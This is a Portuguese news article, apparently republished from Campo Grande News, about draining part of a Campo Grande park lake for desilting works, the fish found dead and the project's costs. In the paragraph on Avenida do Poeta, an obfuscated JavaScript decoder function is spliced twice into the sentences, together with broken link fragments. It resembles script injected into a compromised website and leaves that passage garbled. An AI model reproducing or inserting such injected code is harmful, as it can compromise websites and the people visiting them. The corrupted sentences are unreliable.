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Capital

Parte do lago é esvaziada para obra e peixes são encontrados mortos

Redação

[Via Campo Grande News]

Os impactos ambientais com a obra para desassoreamento do lago do Parque das Nações Indígenas, em Campo Grande, já são notados por quem frequenta o local. A prefeitura iniciou ontem esvaziamento de parte do lago para permitir a entrada das escavadeiras hidráulicas, manobra que matou exemplares de peixes.

Na manhã de hoje, o delegado aposentado Vinizelos Papacostas, 63 anos, foi surpreendido com a ausência dos animais. “Sempre trago pão e jogo para os peixes. Hoje não encontrei nenhum”. A reportagem do Campo Grande News flagrou espécie encalhada na areia e recebeu relatos de que mais exemplares morreram em outros pontos.

Responsável pela primeira fase da obra de desassoreamento, a prefeitura abriu um tampão para esgotar a água do primeiro nível do lago e mandar o volume para o segundo nível, processo que dura pelo menos 24 horas. Assim, o banco de areia ficou ainda mais visível. As equipes agora esperam o sedimento secar para poder entrar com as máquinas e começar a retirada da terra.

Presente no local nesta manhã, o gerente de finanças do Imasul (Instituto do Meio Ambiente de Mato Grosso do Sul), Roberto Silveira Barbosa, avaliou que os peixes devem ser removidos do segundo nível do lago do Parque para um reservatório. “A retirada dos peixes vai acontecer, é inevitável, mas vai depender do cronograma da prefeitura”.

Também em visita ao Parque, o superintendente de serviços da Sisep (Secretaria Municipal de Infraestrutura e Serviços Públicos), Mehdi Talayeh, reconheceu que as obras vão causar impactos ambientais, mas que não cabe à pasta dimensionar os reflexos. O Imasul vai passar o posicionamento do governo estadual na tarde de hoje.

Agressões aos habitats naturais dos animais, como a modificação, danificação ou destruição de seu ninho, abrigo ou criadouro natural, bem como a morte de espécimes devido à poluição, são tipificados como crimes ambientais pela lei nº 9.605/98.

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Obra – O desassoreamento do lago começou na semana passada, com serviços no lago secundário, localizado próximo ao prédio do Museu do Índio e usado para a retenção dos sedimentos carregados pelo Córrego Réveillon. De acordo com Talayeh, 60% dos trabalhos no ponto foram concluídos e devem ser completos até este fim de semana.

A Sisep vai cercar o acesso ao entorno do lago principal durante a execução da obra, prevista para durar quatro meses. O superintendente de serviços revelou que esta fase vai utilizar seis escavadeiras hidráulicas e 30 caminhões basculantes.

Talayeh esteve no Parque das Nações a fim de estudar a logística e elaborar plano para retirada dos caminhões com areia do lago. O trabalho deve contar com apoio da Agetran (Agência Municipal de Transporte e Trânsito). As equipes da prefeitura avaliam quais serão as saídas usadas pelos veículos. A movimentação deve afetar parcialmente o funcionamento do parque.

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Custos - A recuperação do lago é viabilizada por termo de cooperação entre governo do Estado e prefeitura da Capital. O investimento total se aproxima dos R$ 10 milhões.

A primeira fase dos trabalhos prevê a retirada de 140 mil metros cúbicos de areia do lago, equivalente a 21 mil caminhões. O Imasul deve repassar R$ 1,5 milhão à prefeitura somente para os serviços de desassoreamento.

A maior parcela dos R$ 10 milhões de investimento deve atacar duas frentes em médio prazo, com obras nas microbacias do Córrego Prosa e na rede de drenagem do Córrego Réveillon. A maior delas, que conforme estimativas do Imasul representa cerca de 90% do problema, será a construção de um piscinão no Réveillon, no encontro entre as Avenidas Mato Grosso e Hiroshima.

A segunda intervenção será na região da Avenida do Poeta, no lado oposto ao Córrego Réveillon e dentro da reserva legal do Parque dos Poderes. Ali, enxurradas vindas de function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/imoveis-campo-grande-ms" target="_blank" rel="noopener">imóveis do bairro Cidade Jardim e imediações forçaram as margens do Córrego Joaquim Português – que, com o Desbarrancado, forma o Prosa. Uma barreira será instalada na região para proteger o function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/educacao" target="_blank" rel="noopener">curso d’água.

A degradação de um dos principais cartões-postais de Campo Grande começou a ser notada este ano. O banco de areia formado às margens do lago serviu para manifestante escrever a palavra “vergonha”. A situação mobilizou grupo a promover um “abração” em volta do lago como forma de protesto.

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